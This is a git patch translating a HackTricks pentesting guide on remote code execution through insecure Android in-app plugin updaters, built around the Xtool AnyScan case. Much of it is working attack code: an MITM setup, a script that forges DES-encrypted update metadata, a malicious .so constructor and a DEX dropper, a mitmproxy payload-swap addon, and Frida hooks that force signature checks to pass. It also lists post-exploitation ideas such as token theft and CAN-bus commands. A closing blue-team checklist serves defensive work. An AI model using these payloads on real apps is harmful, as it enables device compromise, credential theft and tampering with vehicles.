From 57d33bca0f09c603835c1f6471a434f9dab672dd Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 27 Aug 2025 04:07:44 +0000 Subject: [PATCH] Translated ['src/mobile-pentesting/android-app-pentesting/insecure-in-ap --- .../insecure-in-app-update-rce.md | 192 ++++++++++++++---- 1 file changed, 151 insertions(+), 41 deletions(-) diff --git a/src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md b/src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md index bbe797e72..28e6c335f 100644 --- a/src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md +++ b/src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md @@ -1,16 +1,49 @@ -# 不安全的应用内更新机制 – 通过恶意插件进行远程代码执行 +# 不安全的 In-App Update 机制 – Remote Code Execution via Malicious Plugins {{#include ../../banners/hacktricks-training.md}} -许多Android应用程序实现了**自己的“插件”或“动态特性”更新通道**,而不是使用Google Play商店。当实现不安全时,能够拦截流量的攻击者可以提供**任意本地代码,该代码将在应用程序进程中加载**,导致手机上的完全远程代码执行(RCE)——在某些情况下,还可以在应用控制的任何外部设备上执行(汽车、物联网、医疗设备等)。 +许多 Android 应用实现了自己的“plugin”或“dynamic feature”更新通道,而不是使用 Google Play Store。当实现不安全时,能够拦截或篡改更新流量的攻击者可以提供任意 native 或 Dalvik/ART 代码,这些代码将在应用进程内被加载,导致手机上获得完整的 Remote Code Execution (RCE) —— 并且在某些情况下会影响应用控制的任何外部设备(汽车、IoT、医疗设备……)。 -本页面总结了在Xtool **AnyScan** 汽车诊断应用程序(v4.40.11 → 4.40.40)中发现的真实漏洞链,并将该技术进行概括,以便您可以审核其他Android应用程序并在红队参与期间利用该错误配置。 +本页总结了在 Xtool AnyScan automotive-diagnostics 应用中发现的一个真实漏洞链(v4.40.11 → 4.40.40),并将该技术泛化,以便你在审计其他 Android 应用或在 red-team 演练中利用错误配置时使用。 --- -## 1. 识别不安全的TLS TrustManager +## 0. Quick triage: does the app have an in‑app updater? -1. 使用jadx / apktool反编译APK并定位网络堆栈(OkHttp、HttpUrlConnection、Retrofit等)。 -2. 寻找一个**自定义的`TrustManager`**或`HostnameVerifier`,该组件盲目信任每个证书: +在 JADX/apktool 中的静态线索: +- Strings: "update", "plugin", "patch", "upgrade", "hotfix", "bundle", "feature", "asset", "zip". +- Network endpoints like `/update`, `/plugins`, `/getUpdateList`, `/GetUpdateListEx`. +- Crypto helpers near update paths (DES/AES/RC4; Base64; JSON/XML packs). +- Dynamic loaders: `System.load`, `System.loadLibrary`, `dlopen`, `DexClassLoader`, `PathClassLoader`. +- Unzip paths writing under app-internal or external storage, then immediately loading a `.so`/DEX. + +运行时挂钩以确认: +```js +// Frida: log native and dex loading +Java.perform(() => { +const Runtime = Java.use('java.lang.Runtime'); +const SystemJ = Java.use('java.lang.System'); +const DexClassLoader = Java.use('dalvik.system.DexClassLoader'); + +SystemJ.load.overload('java.lang.String').implementation = function(p) { +console.log('[System.load] ' + p); return this.load(p); +}; +SystemJ.loadLibrary.overload('java.lang.String').implementation = function(n) { +console.log('[System.loadLibrary] ' + n); return this.loadLibrary(n); +}; +Runtime.load.overload('java.lang.String').implementation = function(p){ +console.log('[Runtime.load] ' + p); return this.load(p); +}; +DexClassLoader.$init.implementation = function(dexPath, optDir, libPath, parent) { +console.log(`[DexClassLoader] dex=${dexPath} odex=${optDir} jni=${libPath}`); +return this.$init(dexPath, optDir, libPath, parent); +}; +}); +``` +--- +## 1. 识别不安全的 TLS TrustManager + +1. 使用 jadx / apktool 反编译 APK,并定位网络栈 (OkHttp, HttpUrlConnection, Retrofit…)。 +2. 查找自定义的 `TrustManager` 或 `HostnameVerifier`,其会盲目信任所有证书: ```java public static TrustManager[] buildTrustManagers() { return new TrustManager[]{ @@ -22,24 +55,35 @@ public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};} }; } ``` -3. 如果存在,应用程序将接受 **任何 TLS 证书** → 你可以使用自签名证书运行一个透明的 **MITM 代理**: +3. 如果存在,应用会接受任何 TLS certificate → 你可以运行一个透明的 MITM proxy 并使用 self-signed cert: ```bash mitmproxy -p 8080 -s addon.py # see §4 iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator ``` -## 2. 反向工程更新元数据 +如果 TLS pinning 被强制启用,而不是不安全的 trust-all 逻辑,请参见: -在 AnyScan 的案例中,每次应用启动都会触发一个 HTTPS GET 请求到: +{{#ref}} +android-anti-instrumentation-and-ssl-pinning-bypass.md +{{#endref}} + +{{#ref}} +make-apk-accept-ca-certificate.md +{{#endref}} + +--- +## 2. Reverse-Engineering the Update Metadata + +在 AnyScan 的情况下,每次应用启动都会触发一个 HTTPS GET 请求到: ``` https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx ``` -响应体是一个 **XML 文档**,其 `` 节点包含 **Base64 编码的,DES-ECB 加密的** JSON,描述每个可用插件。 +响应体是一个 XML 文档,其 `` 节点包含 Base64-encoded、DES-ECB 加密的 JSON,用于描述每个可用插件。 -典型的搜索步骤: +典型的排查步骤: 1. 定位加密例程(例如 `RemoteServiceProxy`)并恢复: -* 算法(DES / AES / RC4 …) -* 操作模式(ECB / CBC / GCM …) -* 硬编码的密钥 / IV(通常是常量中的 56 位 DES 密钥或 128 位 AES 密钥) +- 算法 (DES / AES / RC4 …) +- 模式 (ECB / CBC / GCM …) +- 硬编码的密钥 / IV (commonly 56‑bit DES or 128‑bit AES constants) 2. 在 Python 中重新实现该函数以解密 / 加密元数据: ```python from Crypto.Cipher import DES @@ -55,9 +99,17 @@ def encrypt_metadata(plaintext: bytes) -> str: cipher = DES.new(KEY, DES.MODE_ECB) return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode() ``` -## 3. 制作恶意插件 +Notes seen in the wild (2023–2025): +- 元数据通常是 JSON-within-XML 或 protobuf;弱加密算法和静态密钥很常见。 +- 许多更新器在实际 payload 下载时接受明文 HTTP,即使元数据是通过 HTTPS 获取的。 +- 插件经常解压到应用内部存储;一些仍使用外部存储或旧的 `requestLegacyExternalStorage`,从而使跨应用篡改成为可能。 -1. 选择任何合法的插件 ZIP,并用你的有效载荷替换本地库: +--- +## 3. 构造恶意插件 + +### 3.1 本地库路径 (dlopen/System.load[Library]) + +1. 选择任意合法的插件 ZIP,并将本地库替换为你的 payload: ```c // libscan_x64.so – constructor runs as soon as the library is loaded __attribute__((constructor)) @@ -71,12 +123,37 @@ __android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid( $ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so $ zip -r PWNED.zip libscan_x64.so assets/ meta.txt ``` -2. 更新 JSON 元数据,使得 `"FileName" : "PWNED.zip"` 和 `"DownloadURL"` 指向你的 HTTP 服务器。 -3. 对修改后的 JSON 进行 DES 加密 + Base64 编码,并将其复制回拦截的 XML 中。 +2. 更新 JSON 元数据,使 `"FileName" : "PWNED.zip"` 和 `"DownloadURL"` 指向你的 HTTP 服务器。 +3. 对修改后的 JSON 重新加密并进行 Base64 编码,然后将其复制回被拦截的 XML 中。 -## 4. 使用 mitmproxy 发送有效载荷 +### 3.2 Dex-based plugin path (DexClassLoader) -`addon.py` 示例,*静默* 交换原始元数据: +有些应用会下载 JAR/APK 并通过 `DexClassLoader` 加载代码。构建一个在加载时触发的恶意 DEX: +```java +// src/pwn/Dropper.java +package pwn; +public class Dropper { +static { // runs on class load +try { +Runtime.getRuntime().exec("sh -c 'id > /data/data//files/pwned' "); +} catch (Throwable t) {} +} +} +``` + +```bash +# Compile and package to a DEX jar +javac -source 1.8 -target 1.8 -d out/ src/pwn/Dropper.java +jar cf dropper.jar -C out/ . +d8 --output outdex/ dropper.jar +cd outdex && zip -r plugin.jar classes.dex # the updater will fetch this +``` +如果目标调用 `Class.forName("pwn.Dropper")`,你的静态初始化器会执行;否则,使用 Frida 通过反射枚举已加载的类并调用一个导出的方法。 + +--- +## 4. 使用 mitmproxy 交付 Payload + +`addon.py` 示例,静默替换原始元数据: ```python from mitmproxy import http MOD_XML = open("fake_metadata.xml", "rb").read() @@ -89,36 +166,69 @@ MOD_XML, {"Content-Type": "text/xml"} ) ``` -运行一个简单的网络服务器来托管恶意 ZIP: +运行一个简单的 Web 服务器来托管恶意 ZIP/JAR: ```bash python3 -m http.server 8000 --directory ./payloads ``` -当受害者启动应用程序时,它将: -* 通过MITM通道获取我们伪造的XML; -* 使用硬编码的DES密钥解密和解析它; -* 下载`PWNED.zip` → 在私有存储中解压; -* `dlopen()`包含的*libscan_x64.so*,立即以**应用程序的权限**执行我们的代码(相机、GPS、蓝牙、文件系统等)。 +当受害者启动该应用时,会: +- 通过 MITM 通道获取我们伪造的 XML; +- 使用硬编码的 crypto 解密并解析它; +- 下载 `PWNED.zip` 或 `plugin.jar` → 在私有存储中解压; +- 加载包含的 `.so` 或 DEX,立即以应用的权限执行我们的代码(相机、GPS、蓝牙、文件系统等)。 -由于插件缓存于磁盘,后门**在重启后仍然存在**,并在用户每次选择相关功能时运行。 - -## 5. 后期利用想法 - -* 偷取应用程序存储的会话cookie、OAuth令牌或JWT。 -* 投放第二阶段APK并通过`pm install`静默安装(应用程序已经具有`REQUEST_INSTALL_PACKAGES`)。 -* 滥用任何连接的硬件 – 在AnyScan场景中,您可以发送任意**OBD-II / CAN总线命令**(解锁车门、禁用ABS等)。 +因为插件被缓存到磁盘,后门会在重启后仍然存在,并且每次用户选择相关功能时都会运行。 --- -### 检测与缓解清单(蓝队) +## 4.1 绕过签名/哈希检查(如果存在) -* 永远不要使用自定义TrustManager/HostnameVerifier禁用证书验证来发布生产版本。 -* 不要从Google Play以外下载可执行代码。如果您*必须*,请使用相同的**apkSigning v2**密钥签署每个插件,并在加载之前验证签名。 -* 用**AES-GCM**和服务器端轮换密钥替换弱/硬编码的加密。 -* 验证下载归档的完整性(签名或至少SHA-256)。 +如果更新器验证签名或哈希,hook 验证以始终接受攻击者内容: +```js +// Frida – make java.security.Signature.verify() return true +Java.perform(() => { +const Sig = Java.use('java.security.Signature'); +Sig.verify.overload('[B').implementation = function(a) { return true; }; +}); + +// Less surgical (use only if needed): defeat Arrays.equals() for byte[] +Java.perform(() => { +const Arrays = Java.use('java.util.Arrays'); +Arrays.equals.overload('[B', '[B').implementation = function(a, b) { return true; }; +}); +``` +Also consider stubbing vendor methods such as `PluginVerifier.verifySignature()`, `checkHash()`, or short‑circuiting update gating logic in Java or JNI. --- -## 参考文献 +## 5. Other attack surfaces in updaters (2023–2025) -- [NowSecure – 在Xtool AnyScan应用中发现的远程代码执行](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/) -- [Android – 不安全的TrustManager模式](https://developer.android.com/privacy-and-security/risks/unsafe-trustmanager) +- Zip Slip path traversal while extracting plugins: malicious entries like `../../../../data/data//files/target` overwrite arbitrary files. Always sanitize entry paths and use allow‑lists. +- External storage staging: if the app writes the archive to external storage before loading, any other app can tamper with it. Scoped Storage or internal app storage avoids this. +- Cleartext downloads: metadata over HTTPS but payload over HTTP → straightforward MITM swap. +- Incomplete signature checks: comparing only a single file hash, not the whole archive; not binding signature to developer key; accepting any RSA key present in the archive. +- React Native / Web-based OTA content: if native bridges execute JS from OTA without strict signing, arbitrary code execution in the app context is possible (e.g., insecure CodePush-like flows). Ensure detached update signing and strict verification. + +--- +## 6. Post-Exploitation Ideas + +- 窃取 app 存储的 session cookies、OAuth tokens 或 JWTs。 +- 放置二阶段 APK 并在可能的情况下通过 `pm install` 静默安装(有些应用已声明 `REQUEST_INSTALL_PACKAGES`)。 +- 滥用任何连接的硬件 — 在 AnyScan 场景中你可以发送任意 OBD‑II / CAN 总线命令(解锁车门、禁用 ABS 等)。 + +--- +### Detection & Mitigation Checklist (blue team) + +- 避免 dynamic code loading 和 out‑of‑store updates。优先使用 Play‑mediated updates。如果 dynamic plugins 是刚性需求,设计为仅数据的捆绑包,并将可执行代码保留在基线 APK 中。 +- 正确强制使用 TLS:不要使用自定义的信任所有(trust‑all)管理器;在可行时部署 pinning,并使用加强的 network security config 来禁止明文流量。 +- 不要从 Google Play 之外下载可执行代码。如果必须,使用 detached update signing(例如 Ed25519/RSA)并使用开发者持有的密钥在加载前验证。绑定 metadata 和 payload(长度、hash、版本)并采用 fail‑closed 策略。 +- 使用现代加密(AES‑GCM)并对 metadata 使用每条消息的 nonce;从客户端移除硬编码密钥。 +- 验证下载归档的完整性:验证覆盖每个文件的签名,或至少验证包含 SHA‑256 哈希的清单。拒绝额外/未知文件。 +- 将下载存储在 app‑internal storage(或 Android 10+ 的 scoped storage)并使用防止跨应用篡改的文件权限。 +- 防御 Zip Slip:在解压前规范化并验证 zip 条目路径;拒绝绝对路径或包含 `..` 的段。 +- 考虑使用 Play “Code Transparency”,以便你和用户可以验证已发布的 DEX/native 代码与构建产物是否匹配(作为补充但不能替代 APK 签名)。 + +--- +## References + +- [NowSecure – Remote Code Execution Discovered in Xtool AnyScan App](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/) +- [Android Developers – Dynamic Code Loading (risks and mitigations)](https://developer.android.com/privacy-and-security/risks/dynamic-code-loading) {{#include ../../banners/hacktricks-training.md}}